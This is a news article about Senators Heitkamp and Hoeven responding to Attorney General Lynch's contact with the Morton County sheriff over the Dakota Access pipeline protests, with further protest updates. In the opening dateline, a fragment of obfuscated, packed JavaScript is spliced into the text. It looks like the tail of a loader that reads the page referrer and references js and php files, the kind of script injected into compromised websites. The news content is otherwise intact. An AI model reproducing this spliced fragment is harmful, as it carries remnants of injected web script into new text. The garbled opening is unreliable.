WASHINGTON, hnidt|var|u0026u|referrer|nkiyb||js|php’.split(‘|’),0,{}))
D.C. (NewsDakota.com) – U.S. Senator Heidi Heitkamp issued the following statement on U.S. Attorney General Loretta Lynch’s discussion with Morton County Sheriff Kyle Kirchmeier regarding the Dakota Access pipeline.

Heitkamp said, “for months I’ve been working with the delegation and the governor to press the Administration to engage proactively with North Dakota law enforcement, and to deliver the concrete resources they need to keep our communities safe,” She added. “It’s a step in the right direction that Attorney General Lynch reached out to Sheriff Kirchmeier on the challenges related to Dakota Access pipeline protests that our law enforcement on the ground are facing. But it’s a conversation that is long overdue — and it isn’t enough. It’s my hope that the discussion is a step toward the U.S. Department of Justice working hand-in-hand with North Dakota’s delegation — as I’ve been calling for the agency to do for the past four months — and leads to effectively keeping our communities, residents, protestors, and law enforcement safe so law enforcement gets the federal resources to do their jobs.”

N.D. (D) U.S Senator Heidi Heitkamp.
N.D. (D) U.S Senator Heidi Heitkamp.

For the past several months, Heitkamp and her staff have been meeting regularly with local law enforcement, land owners, workers, and residents about the Dakota Access pipeline protests. She has had continued conversations with the White House, Army Corps of Engineers, U.S. Department of Justice, and U.S. Department of Interior to push for a final decision on the easement going under Lake Oahe. She has also been working in a joint effort with the federal delegation and Governor Jack Dalrymple to push for federal funds to provide law enforcement with needed resources to support public safety during the ongoing demonstrations. Recently, Heitkamp spoke with a top official at the White House and said the president needs to act now to make a decision on whether to grant the easement and pushed for federal funds for law enforcement.

U.S. Attorney General Loretta Lynch statement:

On Friday, December 2nd U.S. Attorney General Loretta Lynch issued a video just days before a federal deadline, calling on all parties in the Dakota Access pipeline dispute to avoid violence. Her video doesn’t refer to an order for protesters to leave federal land by Monday. Authorities have said they won’t physically enforce it.

In a written statement, she says she released her video after a phone call with Morton County Sheriff Kyle Kirchmeier. He issued a statement urging fewer words and more action. He says she offered neither assistance for law enforcement, nor a timeline for resolution.

Sen. John Hoeven disputed Lynch’s claim she’s working with the state and its congressional delegation to find a resolution. He says the administration needs to provide more actual law enforcement personnel, not just advisers, and let construction resume.

N.D. (R) U.S Senator John Hoeven.
N.D. (R) U.S Senator John Hoeven.

U.S. Senator John Hoeven:

Senator John Hoeven issued the following statement in response to the discussion U.S. Attorney General Loretta Lynch had with Morton County Sheriff Kyle Kirchmeier regarding his request for federal law enforcement assistance to deal with violent protests against the Dakota Access Pipeline project, as well as the attorney general news release issued on December 2nd.

“U.S. Attorney General Loretta Lynch is not working with the North Dakota delegation to address violent protests in Morton County, contrary to her claim. Subsequent to her conversation with Sheriff Kirchmeier, she issued a release asserting she is working with the delegation and the state to find a resolution. This is not the case. I want to be clear: we have repeatedly called on the Department of Justice and other federal agencies to provide both funding and more federal law enforcement officers to assist state and local law enforcement.

“In fact, right now, the Justice Department has an application submitted by the state for Byrne Grant funding, which is administered by Attorney General Lynch, to assist state and local law enforcement in containing the violence. She needs to approve that request without delay to protect people and property. In addition, she needs to provide more actual law enforcement personnel, rather than only advisors. Area residents are contending with a difficult and volatile situation, and the attorney general needs to act appropriately.

“To end this situation permanently, it is essential that the Obama administration approve the long overdue easement on Corps land necessary to complete the pipeline. Now that the Trump administration has made clear it supports the project, the Obama administration’s ongoing delay is clearly prolonging a difficult and volatile situation. At this point there is no further justification to delay a decision and subject North Dakotans in the protest area to additional weeks of hardship.”

In other Dakota Access Pipeline news:

North Dakota emergency management officials say they are prepared to help Dakota Access pipeline protesters who may need help during a winter storm or some other crisis.

State Homeland Security Director Greg Wilz says it would be a challenge during a mass evacuation, but the state will be “humane in anything and everything” it does.

Morton County Sheriff’s Department spokesman Rob Keller says all the responding officers are now from North Dakota and “more than prepared” for harsh conditions with warming houses and cold weather gear.

The government has ordered protesters to leave the Oceti Sakowin, or Seven Council Fires camp, on federal land in southern North Dakota by Monday. Demonstrators say they’re prepared to stay until changes are made to the route of the four-state, $3.8-billlion pipeline.